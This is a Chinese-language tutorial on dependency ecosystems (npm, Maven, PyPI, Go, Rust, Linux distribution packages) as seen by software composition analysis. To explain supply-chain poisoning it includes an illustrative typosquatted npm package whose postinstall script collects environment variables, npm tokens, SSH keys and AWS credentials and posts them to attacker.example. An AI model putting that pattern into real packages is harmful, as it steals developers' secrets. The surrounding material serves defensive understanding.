包与依赖管理生态
包与依赖管理生态
一、依赖生态
每一种编程语言都有一种自己引用或者下载安装第三方库的方法,大概主要的流程就是以下几方面
1 | 要下载的是什么 |
也就是对应下面这五个核心词

目前主流生态表

这个算是 sca 产品的一个重点吧,就是从不同生态中按照对应的规则与模式提取SBOM物料
进一步与知识库中存下的漏洞情报比较,从而可以快速的获取出被检测项目中存在漏洞的组件或者说是投毒情况
常见的生态的话,主要是以下四种,同时也标明了对应的优势与劣势点

二、npm生态
特点是全球最大、最深、最碎的一个生态,解释如下

1. package.json依赖清单
1 | { |
^ 表示允许安装 不改变最左侧非零版本号 的所有更新,零版本号的话是把次版本号当主版本号对待,^ 的规则是”同一个主版本内随便升”(^4.18.0 = 4.x 任意),但主版本是 0 的时候规则突变——^0.2.3 只允许 0.2.x,因为 0.x 阶段约定”次版本号当主版本号用”
一个清单文件共有五种重要栏目
dependencies:运行时真的要用的,会跟着上生产devDependencies:只在开发/构建/测试时用,不进生产制品。成熟的 SCA 报告会把 dev 依赖的漏洞降级处理——jest 里有个洞,攻击面在你的开发机而不是线上peerDependencies:插件模式专用,意思是”我是 react 的插件,我不自带 react,要求宿主你提供一个 react ≥17”optionalDependencies:装不上也不报错的(典型是 fsevents,只有 Mac 能装)。扫描时要容忍”清单里有、树里没有”name里的 @myorg/ 叫 scope(命名空间):@babel/core 里的 @babel 就是官方认证的地盘,别人抢注不了
存在位置

2.node_modules
node_modules 文件夹 这个位于项目根目录下,用来放置依赖模块也就是npm所安装的包
2009 年 Node.js 诞生,2010 年 npm 诞生
最开始这个文件存放组件是嵌套存储,但是 依赖层层嵌套存放导致(node_modules 深到把 Windows 路径长度撑爆,”node_modules 比黑洞还重”的梗就是那时来的)于是 2015年 npm 第 3 版(2015)把嵌套拍平治了这个问题 结构如下

拍平”的完整图景:能提升的提升到顶层共享(去重),冲突的留在自己肚子里嵌套 一个应用里两个 lodash 同时在内存里跑,完全合法
同时这样就允许组件多版本共存
但是这样就导致了进行sca检测时出现俩问题
① SCA 报告里同一个包出现多行是正常的 lodash@4.17.21 和 lodash@3.10.1 各自去匹配漏洞区间,各自出结果 修了 4.x 那份不等于 3.x 那份也安全——修复建议必须回答”这个版本是哪条依赖链引进来的”(npm ls lodash 就是干这个的)
② 幽灵依赖的完整机理 拍平把 body-parser 提升到了顶层 node_modules/——于是你代码里 require(‘body-parser’) 能成功,尽管你的清单从没声明过它 今天能跑,哪天 express 改用别的解析库,body-parser 从树里消失,你的代码原地爆炸 这就是”清单说的”和”实际能用的”出现裂缝 pnpm(一种新工具) 的严格布局(顶层只放你声明过的,其余全藏进符号链接迷宫)让幽灵依赖当场报错,等于把裂缝焊死了
3.scripts与仓库攻击
3.1、scripts
package.json 里的 scripts 有几个特殊名字:preinstall、install、postinstall——在 npm install 的瞬间自动执行任意命令
这意味着:恶意包根本不需要被代码 require,只要混进依赖树,安装那一刻代码就跑了 偷环境变量、下载木马、种后门,在敲完 npm install 回车后的几秒内完成
postinstall 是 npm 恶意包的标准投递方式,以他举例
- 案例线看升级轨迹:2018 年 event-stream 案,攻击者接盘维护权后塞恶意依赖,定向偷比特币钱包——手工作坊。到 2025 年 9 月升级成工业化:先是 chalk、debug 等十几个基础包的维护者被钓鱼邮件骗走账号(这批包周下载量合计几十亿次),被塞进浏览器端劫持加密货币地址的代码;紧接着爆发 Shai-Hulud 蠕虫——恶意代码在 postinstall 里跑凭证扫描工具,偷走受害者自己的 npm 令牌,再用偷来的令牌把蠕虫发布进受害者维护的包里,自我复制,滚雪球波及几百个包,11 月还回了一波马枪。供应链攻击第一次”蠕虫化”,靠的正是 install 脚本这个机制
- npm install –ignore-scripts 可以一刀禁掉安装脚本

3.2、仓库攻击
npm 仓库是 open 模式的极致:注册账号两分钟就能发包,无人审核
网址如下
1 | https://www.npmjs.com/ |
攻防方式:
- 抢注/错拼(typosquatting):发个 raect 等手滑的人,仓库方靠事后扫描+封禁兜底
- 依赖混淆(dependency confusion):2021 年研究者发现,公司内部包名(如 acme-utils)若没在公共仓库注册,攻击者可以抢注同名高版本,构建系统可能优先拉公共的那个——scope 就是解药:@acme/utils 的 @acme 地盘被认证后别人碰不了
- 不可撤回政策:left-pad 事件(作者撤包瘫痪半个互联网)之后,npm 改了规矩——包发布超过 72 小时或有人依赖就不许下架 可用性问题基本根治,但也意味着毒包只能靠仓库方强制摘除
- 账号接管:2025 年那波证明,攻击重心已经从”发新毒包”转向”偷走老牌包的钥匙”——钓鱼拿维护者账号,往千万人依赖的包里注毒。仓库方的应对是逐步强制双因素认证、推行发布来源证明(provenance)
3.3、具体实现思路
攻击者视角
发布了一个包叫 colorss(正版是 colors,故意少写一个字母,typosquatting / 抢注错拼)
npm包中的恶意package.json如下1
2
3
4
5
6
7
8
9{
"name": "colorss",
"version": "1.0.0",
"description": "Terminal colors made easy",
"main": "index.js",
"scripts": {
"postinstall": "node ./setup.js"
}
}看起来人畜无害——“装完之后跑个初始化脚本”,正经包也这么干,但 setup.js 里干的是:
1
2
3
4
5
6
7
8// 大意(不是可运行的完整代码,只为说明原理)
const payload = {
env: process.env, // 全部环境变量:API key、token、密码
npmrc: read('~/.npmrc'), // npm 发布令牌
ssh: read('~/.ssh/id_rsa'), // SSH 私钥
aws: read('~/.aws/credentials'), // 云凭证
};
post('https://attacker.example/collect', payload); // 打包发走
受害者视角
- 敲下:npm install colorss
↓ 0.0 秒
npm 去 registry 下载 colorss-1.0.0.tgz
↓ 0.8 秒
解压到 node_modules/colorss/
↓ 0.9 秒
npm 读这个包自带的 package.json,发现有 postinstall
↓ 1.0 秒
npm 用【你的用户身份】执行 node ./setup.js ← 中招就在这一刻
↓ 1.2 秒
你的环境变量、SSH 私钥、npm token 已经在攻击者服务器上了
↓ 3.0 秒
终端显示 “added 1 package in 3s”,一切正常,绿色的
4.sca检测
要认的文件
package.json(清单)、package-lock.json(v1/v2/v3 三代格式)、yarn.lock(还分老格式和新版 YAML)、pnpm-lock.yaml。一个生态五六种文件格式,解析工作量全生态最大
实地盘点很可靠
node_modules 里每个包都自带一份 package.json 报身份(名字+精确版本),直接翻安装现场也能拿到高质量清单,容器镜像里的 Node 后端就是这么扫的:翻镜像里的 node_modules。、
要做的分级
生产依赖 vs 开发依赖分开定级;同名多版本各自匹配、各自给修复链路
- 注意:前端代码上线前会被打包器(webpack 之类)熔炼成一个大 bundle 文件,node_modules 不进制品——所以扫前端产物很难(面对的是压缩混淆后的大块头),SCA 主要在构建前(有锁文件时)介入;而 Node 后端容器里 node_modules 原样躺着,随时可扫
同时,对于投毒
传统 SCA 根本发现不了这类攻击
你现在学的那套逻辑是:读锁文件 → 拿到 包名@版本 → 去漏洞库比对版本区间 → 命中报警
但恶意包这条线上:
投毒多发地
三、Maven生态
1.坐标与仓库
在java也就是maven这个生态里,Maven Central对于仓库管理十分严格
1 | https://central.sonatype.com/?smo=true |
Java 包的身份证是 GAV 坐标:groupId:artifactId:version,例如 org.apache.logging.log4j:log4j-core:2.17.1 重点在 groupId——它是反写的域名,而且 Maven Central 发包时要验证你真的拥有这个域名(DNS 解析记录证明,或 io.github.你 证明 GitHub 账号归属),还强制 GPG 签名 对比 npm 注册账号两分钟就能发包——Maven Central 是有门卫的超市
同时,Central 上的制品永不删除、同版本号永不允许重传(比 npm 的”72 小时后不可撤”更绝对) left-pad 那种”说没就没”在 Java 世界物理上不可能发生
同时也就导致了Maven Central 上的恶意包、抢注包比 npm 少几个数量级 Java 供应链的雷不在”有人投毒”,而在“正经的老库带着洞躺在犄角旮旯没人知道”——Struts2、Log4Shell 都是这个模式

2.pom.xml
pom.xml对于maven来说就是清单 所有要用到的组件插件等等都要在这个文件中规定
同时该文件有一系列为了简化生产做的点
- 属性变量:
${log4j.version} ,值定义在别处 - 父 POM 继承:项目有族谱,版本号写在爷爷辈的 pom 里
- BOM(物料清单):像 spring-boot-dependencies 这种”版本对照总表”,一次 import 进来,几百个库的版本全由它钦定——你的 pom 里那些依赖连 version 标签都没有
导致了一系列后果

对于版本的限制,maven发明了一种叫做 就近优先:静默降级的仲裁规则

由此,导致我们引入的新框架是新版本,但是却被一个老工具包拖回了带洞的 2.8——静默降级,构建照常成功,一个警告都没有。反过来,这条规则也是应急武器:在你自己的 pom 里直接声明 log4j-core 2.17.1(深度 1,天下最近),立刻通杀全树——这就是 Java 世界压版本的标准手法
3.sca检测
3.1、jar分类
前面都还是源码侧的麻烦,真正的苦日子在制品侧——扫一个已经构建出来的东西。先记住物理事实:jar 就是一个 zip 压缩包,里面装 .class 字节码文件,而 Java 应用的出厂形态是一条”透明度递减”的谱系
一共有四类

以 log4j 2.14.1 举例
线索① pom.propertiesMaven 构建的 jar 会在肚子里留一份身份档案:
META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties
groupId=org.apache.logging.log4j
artifactId=log4j-core
version=2.14.1
有它就直接读。但它是”通常有”不是”必须有”——shade 时可能被丢掉,甚至更坑:留着一份过时的标签
线索② MANIFEST.MFjar 的 META-INF/MANIFEST.MF 里有 Implementation-Version 之类字段,可选、常缺、偶尔乱填,只能当旁证
线索③ 文件名——最不可信。log4j-core-2.14.1.jar 看着美好,但文件可以随便改名,进了 fat jar 后文件名干脆不存在
线索④ 字节码指纹把 jar 里每个 .class 文件算哈希,拿去比对一个巨大的”已知制品指纹库”(Maven Central 全量制品的类哈希都预先算好入库)。连包名被 shade 改了都能认出来——因为改名只动了路径和引用,大部分字节码内容的特征还在。指纹库的覆盖度和比对算法,是各家 SCA 产品拉开差距的地方。
3.2、maven检测
由于pom文件存在以下行为
第一层:版本可能是个变量(property)
最简单的一层。pom 里允许定义变量,依赖处引用:
1 | <properties> |
正则抠
第二层:POM 有族谱,版本写在祖宗那里(父 POM 继承)
Maven 有个核心设计:POM 可以继承。你的项目 pom 顶上通常写着一句”我爸是谁”:
1 | <parent> |
一旦认了爹,父 POM 里定义的变量、依赖、版本,你全部自动继承。图什么?统一管理——公司几百个项目认同一个”公司父 POM”,想升级某个库版本,改父 POM 一处,全公司项目下次构建自动跟上。方便是真方便,但对解析器是灾难,因为:
父 POM 自己还有父 POM,一层套一层,形成一条继承链。 你手里的项目 pom → 公司父 pom → spring-boot 父 pom → spring-boot-dependencies → 最顶上 Maven 的超级 POM。你要的那个 ${log4j.version} 的真值,可能定义在这条链往上第三代的某个 pom 里
而且——父 POM 不在你的项目目录里,它是一个要从 Maven 仓库下载的制品 所以解析器为了算出一个版本号,得联网、按 GAV 坐标把整条祖宗链一个个下载下来、逐级合并。”读文件”到这里已经彻底破产了:文件根本不在本地,得先去把家谱请回来
第三层:BOM——一张”版本大对照表”被 import 进来
这是最典型、也最能击垮正则的一层。现代 Java 项目里,会看到大量依赖压根不写版本号:
1 | <dependency> |
版本被一个叫 BOM(Bill of Materials,物料清单) 的东西统一钦定了。BOM 是一种特殊 POM,里面是一张巨大的”版本对照总表”,通过 dependencyManagement + import 拉进来:
1 | <dependencyManagement> |
这一句 import 背后,是 spring-boot-dependencies 那张表里几百个库的钦定版本一次性生效。于是你 pom 里那些”光秃秃没版本”的依赖,版本全由这张表说了算——log4j-core 是 2.17.1,是因为 Spring Boot 2.7.5 这张表里写着 2.17.1
所以目前只能
1 | mvn dependency:tree |
Maven 自己就是那个”方程求解器”,它会把继承、变量、BOM、优先级全部解算完毕,吐出一棵已经定死每个版本的完整依赖树。SCA 工具很多就是跑这条命令、解析它的输出。代价:得有完整构建环境(对的 JDK、能连的仓库、可能要的私库凭证),还得真的执行项目相关的构建动作——慢、重、且需要项目能构建成功。扫一个源码仓,成本比 npm 高一个数量级
总之,如下

四、PyPI生态
1 | https://pypi.org/ |
1.环境即状态
python中import 的机制:sys.path
1 | python -c "import PIL; print(PIL.__file__)" |
sys.path 里最重要的一站叫 site-packages——pip install 装的东西全堆这
对比npm
- npm:依赖装进项目自己的 node_modules/,一个项目一份,互不干扰,依赖”属于项目”
- Python(裸 pip):pip install 默认装进那个 Python 解释器共享的 site-packages。它不属于某个项目,而属于这个 Python 环境。你在项目 A 里 pip install requests,项目 B 用同一个 Python 的话,B 也”免费”看得见 requests
后果就是:依赖的单位不是”项目”,是”环境” 两个项目要同一个包的不同版本?同一个环境装不下 所以社区发明了 venv(虚拟环境)——本质就是开一个独立的 site-packages,把 sys.path 指过去 “给每个项目一个平行宇宙”,机制上就是”换一张寻库地图”
扫一个 Python 项目,第一个要问的不是”有没有清单”,而是”它跑在哪个环境里”——系统 Python?哪个 venv?conda 环境?同一台机器可以有 N 个环境、N 本账,扫错环境等于扫了个寂寞

虚拟环境默认无关与系统环境
2.分发名 ≠ 导入名
1 | pip install pillow ← 分发名(distribution name):在 PyPI 上、在 pip 命令里用的名字 |
如出一辙的还有很多

雪上加霜的还有归一化(PEP 503):分发名大小写不敏感、- _ . 全等价 Flask、flask、FLASK 是同一个包;ruamel-yaml 和 ruamel.yaml 也是同一个 所以”名字”这件事在 Python 里根本不是一个稳定的字符串
于是在代码里搜到 import yaml,想查漏洞——可漏洞库里根本没有叫 yaml 的条目,它叫 PyYAML,而且还存在一个分发包可以装出多个导入名,反过来多个分发包可能提供同名导入(命名冲突) 映射不是一一对应
不过所幸,有记录文件
3.仓库与制品形态
制品官网是下面这个
1 | https://pypi.org/ |
python公告仓库也是持开放状态谁都能发包,基本无审核
于是也存在
- typosquatting(抢注错拼):python-requests(真包是 requests)、jeIlyfish(把 l 换成大写 I 冒充 jellyfish)这类恶意包反复出现。
- 依赖混淆:2021 年 Birsan 那次攻击,PyPI 和 npm 一起中招
- 恶意包投毒:结合第三章的 setup.py,pip install 到就中招 近几年 PyPI 每年清理成千上万个恶意包
同时制品有俩种存在形式
以Pillow 12.3.0举例
Pillow 12.3.0 一个版本,87 个制品——1 个源码包 + 86 个轮子
Python 包有两种出厂形态:
sdist(源码包,.tar.gz)——装的时候会跑代码
sdist 就是源码打个包 问题在于:pip 安装一个 sdist 时,会执行包里的 setup.py——而 setup.py 是任意 Python 代码
和之前生态一样
- npm: npm install 触发 postinstall 脚本 → 装包时执行任意代码
Java: mvn 构建时插件执行 → 构建时执行任意代码
Python: pip install 一个 sdist 跑 setup.py → 装包时执行任意代码 ← 就是这里
wheel(轮子,.whl)——预编译,装的时候不跑代码
wheel 是预先构建好的包,装的时候只是解压+拷文件,不执行任何代码(除非包里有 entry point)。所以 wheel 既快又安全,是现在的默认首选。名字来源:Python 包生态叫 “Cheese Shop”(源自一个喜剧),轮子=一块奶酪
具体Pillow的构成其实是下面原因

同时,因为轮子里有 C 代码 于是又引入了隐形的 CVE
以pillow.libs/ 目录举例
1 | pillow.libs/libjpeg-31e2ca52.so.62.4.0 ← JPEG 解码库(C写的) |
pip install pillow 顺带装进来了大半个 C 语言图像处理栈——libjpeg、libpng、libfreetype 全被打包进轮子里一起塞进来
4.依赖清单
完整文件树如下

dist-info他就是记录了引入组件的详细情况
requirements.txt作为用户定义的要安装的依赖清单存在
在pip年代中 项目中存在requirements.txt作为依赖清单
但是存在一些问题

于是现代工具发明出
pyproject.toml + uv.lock形式

5.包管理工具
conda 与 uv
conda 是”平行宇宙”,不是又一个 pip 数据科学圈用的 conda 有自己的仓库(不是 PyPI)、自己的包格式,而且它连非 Python 的 C 库、甚至 R、CUDA 都一起管 代价:conda 装的东西不在 pip 的 dist-info 账本上,记在 conda 自己的账里
uv 是正在终结全部的 Rust 工具(2024)
比传统 pip 快 10–100 倍
项目流程(围绕 pyproject.toml + uv.lock)
uv init myproj # 建项目骨架
uv add requests # 加依赖 → 写进 pyproject.toml + 更新 uv.lock + 装好
uv remove requests # 反向操作
uv sync # 照着 uv.lock 把环境弄成一模一样 ← 团队协作 / CI 用这条
uv lock # 只算依赖、只更新锁文件,不装
uv run python app.py # 在项目环境里跑,自动确保环境是新的(不用手动 activate!)
uv tree # 依赖树,看谁把某个包拽进来的
uv export # 导出成 requirements.txt 格式(给不认 uv 的工具用)
uv run 是最爽的一条:不用 activate,它自己找到 .venv 并保证同步
五、Go生态
1.Go生态仓库
Google 2009 年做的一门编程语言,主要用来写服务器程序和命令行工具
与常见主流语言运行区别
1 | Python: 写 .py 文件 → 直接让 python 去跑它(源码就是成品) |
编写一个简单的go程序
1 | package main // ← 第1行 |
- package main:声明”我是一个可以独立运行的程序”(而不是给别人用的库)
- import:跟 Python 的 import、Java 的 import 一样——“我要用别人写好的东西”
- func main():程序从这里开始执行,和 Java 的 main 方法一样
安装依赖与打包命令

需要注意
这里import里写的是网址,import "rsc.io/quote"是这个库住在哪儿的地址,github.com/gin-gonic/gin 就是下载依赖时寻找依赖的地址

于是乎,go语言的仓库就是github
由此诞生的安全问题便是
- 仓库所有权变,如果一个用得很广的模块,作者删库、改名、或转让了 GitHub 账号,别人注册同名账号就能顶替它的位置——因为地址就是身份
官方为了解决这个问题,又提出了
代理 + 校验和数据库 + 透明日志(贡献最大的一家)
模块代理
Go 官方建了个
proxy.golang.org[proxy.golang.org/github.com/gin-gonic/gin/@latest](https://proxy.golang.org/github.com/gin-gonic/gin/@latest)1
2
3GET /github.com/gin-gonic/gin/@v/list → 所有版本
GET /github.com/gin-gonic/gin/@latest → {"Version":"v1.12.0","Origin":{"VCS":"git",...}}
GET /github.com/gin-gonic/gin/@v/v1.10.0.mod → 直接拿 go.mod 原文通过官方仓库记录了目前已经发表并且常用的依赖库的记录与哈希值
校验和数据库+ 透明日志
1
2
3
4
5
6
7
825573390 ← 日志条目编号
github.com/gin-gonic/gin v1.10.0 h1:nTuyha1TYqgedzy...= ← 官方登记的哈希
github.com/gin-gonic/gin v1.10.0/go.mod h1:4PMNQiOh...=
go.sum database tree
58168118 ← 当前树大小
SMMtf2PvBBdlyOESNl9hJ137SyfGTJOyWE+qHtCkVng= ← Merkle 树根哈希
— sum.golang.org Az3grkrSNwKsSxnNXNumsgbUulG5fR+dPQk3vx... ← 官方签名这个是一个全球公证处 每个模块版本的哈希被登记进一个只能追加、不能篡改的日志(Merkle 树,和证书透明度 CT 日志、区块链是同一种密码学结构)
每次 go get 一个新模块,Go 工具链会自动:
- 下载模块 → 算哈希
- 去 sum.golang.org 查官方登记的哈希
- 对不上 → 直接拒绝构建并报警
- 对得上 → 写进 go.sum
也就是说虽然go没有中心仓库,但是go有一个中心备案处,修改记录后,数据就对不上
2.特点
2.1、制品自带sbom物料
Go 默认静态编译:所有依赖(包括 Go 运行时本身)全部编译进一个单文件可执行程序,运行它不需要装 Go、不需要任何 .so/.dll
同时 Go 编译时会往二进制里嵌入一段结构化的构建信息(BuildInfo),记录:用了哪个 Go 版本、主模块是谁、每一个依赖的模块路径+精确版本+哈希
1 | go version -m gh.exe |
使用命令即可全部读出

而且这不需要装 Go 才能读——这段信息有标准格式,任何扫描器都能直接从二进制里解析出来(Trivy、Syft 都支持) 扫一个容器镜像里的 Go 程序,拿到的依赖清单质量比扫 Java 制品高一个数量级
2.2、算法代替锁文件
正常选择版本「在满足所有约束的版本里,挑最新的」
问题就出在”最新”上——今天的最新和下个月的最新不是一个东西,所以必须有锁文件把结果钉住,否则不可复现
Go 的思路:挑最老的那个能满足要求的
MVS(Minimal Version Selection,最小版本选择):
对每个模块,收集所有人对它提出的版本要求,取其中最高的那个作为结果——但绝不多选一分。
例如
1 | 你的 go.mod: require A v1.0.0, require B v1.0.0 |
MVS 计算 C 的版本: max(1.2.0, 1.5.0) = v1.5.0 ← 就选它
注意,哪怕此刻 C 已经发布了 v1.9.0,MVS 也不会用,它只用”有人明确要求过的版本里最高的那个”,绝不擅自升级
为什么这就不需要锁文件了
因为这个计算过程的输入全是不可变的:你的 go.mod 是固定的、每个依赖的 go.mod 也是固定的(某个版本的 go.mod 永远不变),同样的输入 → 永远同样的输出
因此,go项目具有高保真构建(high-fidelity builds):今天构建和三年后构建,结果字节一致
与之同时 也带来了安全性问题
安全补丁不会自动进来。npm 用户写 ^4.18.0 时,重装可能自动拿到修复版;Go 用户会一直卡在旧版直到主动升。所以 Go 项目的漏洞往往是”长期潜伏”型——扫出来的洞可能已经存在两年了
2.3、伪版本号
一共定义了三种形式

1 | v1.12.1 - 0. 20260626164816 - 34dac209ffb6 |
以某一个伪版本号举例
这么打伪版本的话
1 | v1.12.1-0.20260626164816-34dac209ffb6 > v1.12.0 ← 比上一个正式版大 |
Prerelease 段: -0.20260626164816-34dac209ffb6
IsValid: true ← semver 认它是完全合法的版本号
数轴形式:
v1.12.0 ●━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━● v1.12.1
↑ ↑ ↑
打 tag pin 的 打 tag
这次 commit
(伪版本落在这)
semver 规定 预发布版 < 同号正式版(1.12.1-任何东西 恒小于 1.12.1),所以 -0. 这个前缀就是用来”把它踩到 v1.12.1 之下”的
由此,对于sca 造成了一些麻烦
如果一个伪版本的基础版本是 v1.2.3-0.2020…(表示”在 v1.2.3 之后的某次提交”),情况就复杂了——这次提交到底有没有包含那个修复补丁,光看版本号根本判断不出来,得去查那个 commit 的实际内容。这是 SCA 在 Go 生态特有的一类不确定性
2.4、提交中心仓库
Go 没有”发布”这个动作
但是依旧是所有人都可以往中心仓库里写东西

进账之后就永远改不掉了:删 tag 没用(proxy 缓存还在),force-push 改 tag 指向更糟(哈希对不上,所有用户 go build 直接报 checksum mismatch,等于自曝)
六、crates.io 生态
其实就是rust生态
他在2015年诞生,有一个非常不错的特点
既快又安全 —— 靠编译器在编译时死磕,把内存问题挡在上线前
在rust中术语是

Cargo这个包管理工具诞生于2015 随rust一起出生 于是在当时 官方考虑到之前所有的缺点
1 | Cargo.toml 清单(我想要什么) |
优秀工具天生自带
中心仓库
1 | https://crates.io |

crates.io 没有命名空间,遵循扁平化,所有 crate 名字在一个扁平的全局空间里,先到先得,所以抢注(typosquatting)在 Rust 里更好使,因为没有 scope 可以帮你区分”官方的”和”冒牌的”
crates.io 上的包一旦发布就不能删除,只能”yank(撤回)”
1 | 已经在别人 Cargo.lock 里的 → 照常能下载,构建不受影响 ✓ |
召回但不销毁 老用户不受影响,新用户不会踩坑
制品是一个单二进制,但没有自带料单,
这个的生态不太重要,处于一些不重要的地位
七、系统包生态
1.linux系统包仓库
系统包生态是指类似于Ubuntu这样linux发行版使用apt工具寻找中央仓库安装应用等等情况,这一部分就算是系统包生态的整个来回,如下图全流程所示

软件系统生态麻烦的第一点在于linux有不同的发行版,因此中央仓库也就非常多具体可以看下面表格

因此造成的问题便是某一个组件爆出漏洞,不同的发行版有不同的修复手法与情报,他们都在各自发行版的官网上公布,要整合这一步着实有一些困难
2.backport 回填
除上述困难之外,linux还具有一种独特的更新策略—–backport 回填
是指机器上与镜像里安装的某一个组件,几乎不是从上游直接安装,以常见工具openssl举例,也就是指不是直接从maven发布的源地址或者官网 openssl.org 安装,而是安装的linux发行版自己维护的仓库中自己维护的组件
linux发行版对用户有一大承诺
同一个大版本的生命周期内(比如 Debian 11 那两三年),软件行为不变
所以未来解决这个问题,发明了backport(回填/向后移植)
具体如下图

保留老版本不动,只把上游那个修复补丁单独摘出来,缝进老版本里
这也就迫使整理安全情报以及要做镜像sca检测的时候必须要注意发行版自家的安全公告
杜绝出现下面的情况

主流发行版/生态的官方安全公告源
| 发行版/生态 | 公告类型 | 官方地址 | 说明 |
|---|---|---|---|
| Debian | DSA(Debian Security Advisory) | https://www.debian.org/security/ | 也可用 Security Tracker 按包名/CVE 查:https://security-tracker.debian.org/tracker/ |
| Ubuntu | USN(Ubuntu Security Notice) | https://ubuntu.com/security/notices | 支持按 CVE、包名、发行版本筛选 |
| RedHat / RHEL | RHSA(RedHat Security Advisory) | https://access.redhat.com/security/security-updates/ | 另有 RedHat CVE 数据库:https://access.redhat.com/security/cve/ |
| CentOS Stream | 跟随 RHEL 上游 | https://lists.centos.org/pipermail/centos-announce/ | CentOS 本身不单独发,主要看 RHEL/Stream 公告 |
| Alpine Linux | secdb(安全数据库) | https://secdb.alpinelinux.org/ | 机器可读的 JSON 格式,适合自动 |
3.容器镜像检测
容器进项检测本质上就是一台迷你的linux系统,检测本质就是对系统包生态进行,同时对部署的软件生态
检测的是电脑的整个硬盘快照——里面有文件系统、系统工具、系统库,最后才是你的程序,docker run 的时候就是把这块”硬盘”解压出来,让程序在里面跑
所以检测分为俩层

以一份具体的dockerfile举例

运行之后
镜像里一共有两类
系统包,走 apk 进来的,musl(C 库)、busybox、openssl、zlib、ca-certificates,加上手动装的 curl……哪怕一行 apk add 都没写,光 FROM alpine 就自带十几个包
语言包,express 和整棵传递依赖树,全在 node_modules 里
4.包管理的分层与交叉
以知名漏洞组件 liblog4j2举例
该组件本是java程序中会用到的,但是在linux的常见发行版也包含了它
原因本质上就是 Debian 仓库的野心是”软件总仓库”,不是”系统软件仓库”
目的是为了满足两条铁律

Debian 里的 log4j 不是”Linux 要用日志库”,而是”Debian 打包的那些 Java 应用要用”。它是 Maven 生态的一角,被 Debian 抄录进了自己的账本
比如说
fat jar:classpath 就是自己,依赖全在肚子里,一辈子碰不到 /usr/share/java
1 | java -jar app.jar |
Debian 打包的 Java 应用:/usr/bin/某工具 其实是个 shell 包装脚本,内容大致是——
1 | exec java -cp /usr/share/java/log4j-core.jar:/usr/share/java/commons-io.jar:... com.foo.Main "$@" |
同时
Debian 想收录任何一个 Java 应用,就必须先把它的每个 Maven 依赖逐个”转译”成 deb 包。log4j 被转译成源码包 apache-log4j2 → 二进制包 liblog4j2-java → jar 落进 /usr/share/java/,等着给同仓库的 Java 应用当共享依赖
不只是java

转译包的作用有俩类
一是系统自己——就是 Python 应用,apt install certbot 会连带装一串 python3-* 的 deb;二是求稳的运维——一个更新渠道、一个安全团队、backport 保行为不变,代价是版本老,所以开发者写代码时永远用 pip/Maven 拉新版——同一台机器上两个世界并存
因此在做sca检测时,会出现如下冲突的情况

实属正常
最后就是总结一下这六种生态吧
